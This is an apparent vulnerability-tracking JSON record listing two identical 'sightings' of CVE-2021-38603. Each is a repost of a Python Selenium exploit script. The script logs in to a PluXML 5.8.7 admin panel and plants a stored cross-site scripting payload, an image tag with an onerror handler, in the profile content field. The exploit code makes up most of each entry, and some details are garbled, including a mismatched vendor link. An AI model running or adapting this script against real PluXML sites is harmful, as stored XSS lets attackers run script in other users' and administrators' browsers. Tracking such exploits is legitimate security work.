{"vulnerability": "cve-2021-38603", "sightings": [{"uuid": "3a908945-44ba-4148-a066-10185a32cf46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38603", "type": "seen", "source": "https://t.me/hacking_Attack/20129", "content": "Exploit Collector\nPluXML 5.8.7 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nPluXML version 5.8.7 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 764f97f2ba98bcb62751d92262620b44\n\nDownload\n# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter \"id_content\"\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 08.13.2021\n# Vendor: https://pluxml.org/\n# Link: https://sourceforge.net/projects/chikitsa/\n# CVE: CVE-2021-38603\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: @nu11secur1ty\n# CVE-2021-38603\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"\nhttp://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/\"\n\n#enter your login username\nusername=\"nu11\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"login\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"blue\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n## Vulnerability parameter in profil.php \"id_content\"\n## NOTE: The same problem is in the demo account in the online version\n## https://www.softaculous.com/softaculous/demos/PluXml\ntime.sleep(3)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/PluXml/core/admin/profil.php\"))\n## The Exploit\nbrowser.execute_script(\"document.querySelector('[name=\\\"content\\\"]').value=\\\"\nsrc=\nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />\\\"\")\n\n## submit the exploit\nbrowser.execute_script(\"document.querySelector('[name=\\\"profil\\\"]').click()\")\n\n# exit if you want :D\nbrowser.close()\n\nprint(\"The payload for CVE CVE-2021-38603 is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603\n# Proof: https://streamable.com/5rf36u\n# BR nu11secur1ty\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:28.265465Z"}, {"uuid": "4d5a54f3-106b-41f1-a291-fe2dfc913d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38603", "type": "seen", "source": "https://t.me/hacking_Attack/20129", "content": "Exploit Collector\nPluXML 5.8.7 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nPluXML version 5.8.7 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 764f97f2ba98bcb62751d92262620b44\n\nDownload\n# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter \"id_content\"\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 08.13.2021\n# Vendor: https://pluxml.org/\n# Link: https://sourceforge.net/projects/chikitsa/\n# CVE: CVE-2021-38603\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: @nu11secur1ty\n# CVE-2021-38603\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"\nhttp://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/\"\n\n#enter your login username\nusername=\"nu11\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"login\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"blue\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n## Vulnerability parameter in profil.php \"id_content\"\n## NOTE: The same problem is in the demo account in the online version\n## https://www.softaculous.com/softaculous/demos/PluXml\ntime.sleep(3)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/PluXml/core/admin/profil.php\"))\n## The Exploit\nbrowser.execute_script(\"document.querySelector('[name=\\\"content\\\"]').value=\\\"\nsrc=\nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) />\\\"\")\n\n## submit the exploit\nbrowser.execute_script(\"document.querySelector('[name=\\\"profil\\\"]').click()\")\n\n# exit if you want :D\nbrowser.close()\n\nprint(\"The payload for CVE CVE-2021-38603 is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603\n# Proof: https://streamable.com/5rf36u\n# BR nu11secur1ty\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:01.585436Z"}]}